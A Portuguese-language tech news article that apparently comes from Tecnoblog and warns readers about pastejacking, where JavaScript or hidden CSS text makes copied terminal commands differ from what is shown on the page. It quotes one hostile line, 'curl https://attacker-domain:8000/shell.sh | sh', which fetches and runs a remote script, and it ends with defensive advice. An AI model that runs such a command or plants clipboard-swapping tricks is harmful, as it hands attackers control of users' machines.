Cuidado com este truque para enganar quem copia e cola código na web

Técnicas simples podem ser usadas para esconder linhas; ao colar código em terminal de comando, usuário pode abrir brecha para ataques

Giovanni Santa Rosa
Por
• Atualizado há 11 meses
Óculos na mesa diante de uma tela com códigos
Copiar código e colar direto no terminal é uma péssima ideia (Imagem: Kevin Ku/Unsplash)

Ataques a computadores e sistemas estão cada vez mais sofisticados, mas mesmo procedimentos simples podem representar risco, mesmo que seja um inofensivo processo de copiar e colar. É possível colocar comandos ocultos em linhas aparentemente inocentes, e isso pode abrir comprometer a segurança da sua máquina.

A estratégia é simples: colocar um código comum em uma página de instruções ou tutoriais, mas esconder por trás um comando que dê acesso ao sistema quando colado diretamente em um terminal. O Bleeping Computer mostrou duas formas como isso é possível.

JavaScript troca texto copiado

Uma prova de conceito feita por Gabriel Friedlander, fundador da plataforma de treinamento em segurança Wizer, mostra como isso é possível.

Na página do treinamento, ele colocou um comando simples de Linux:

sudo apt update

Ao copiar e colar o comando, o código que aparece é bem diferente

curl https://attacker-domain:8000/shell.sh | sh

Além disso, o código colado já vem com uma quebra de linha, o que faz com que ele seja executado diretamente pelo terminal, caso ele não tenha um bloqueio contra isso.

O truque por trás das cortinas é um pequeno código em JavaScript, que insere outro texto na área de transferência ao copiar o trecho selecionado.

CSS deixa trecho invisível

O JavaScript não é a única ferramenta que pode ser usada para esconder um código mal-intencionado. Também é possível fazer isso usando CSS.

O usuário do Reddit SwallowYourDreams fez uma demonstração. Na página, aparecem dois comandos simples para serem copiados.

echo “I’m just some friendly command”

echo “Copy and run me.”

Ao colar, porém, surge um terceiro.

echo “I’m just some friendly command”

echo “Haha, you’ve just run a bad command. Your system is rekt now.”

echo “Copy and run me.”

Como este terceiro comando apareceu? Ele estava lá o tempo todo, só você não viu. Com duas alterações de formatação, esta linha do texto fica com branca e com tamanho zero, mas continua selecionável pelo cursor do mouse.

Como evitar

A dica é bem direta: nunca cole diretamente no terminal nenhum código copiado da internet, por mais confiável que o site aparente ser.

Nós sabemos que códigos são muitas vezes complicados e digitá-los novamente é uma tarefa bastante chata. Para evitar surpresas desagradáveis, o melhor a fazer é colá-los primeiro em um editor de texto — até o bom e velho Bloco de Notas serve.

Se estiver tudo certo com ele ali, copie e cole novamente, desta vez no terminal.

Receba mais sobre Bleeping Computer na sua caixa de entrada

* ao se inscrever você aceita a nossa política de privacidade
Newsletter
Giovanni Santa Rosa

Giovanni Santa Rosa

Repórter

Giovanni Santa Rosa é formado em jornalismo pela ECA-USP e cobre ciência e tecnologia desde 2012. Foi editor-assistente do Gizmodo Brasil e escreveu para o UOL Tilt e para o Jornal da USP. Cobriu o Snapdragon Tech Summit, em Maui (EUA), o Fórum Internacional de Software Livre, em Porto Alegre (RS), e a Campus Party, em São Paulo (SP). Atualmente, é autor no Tecnoblog.

Relacionados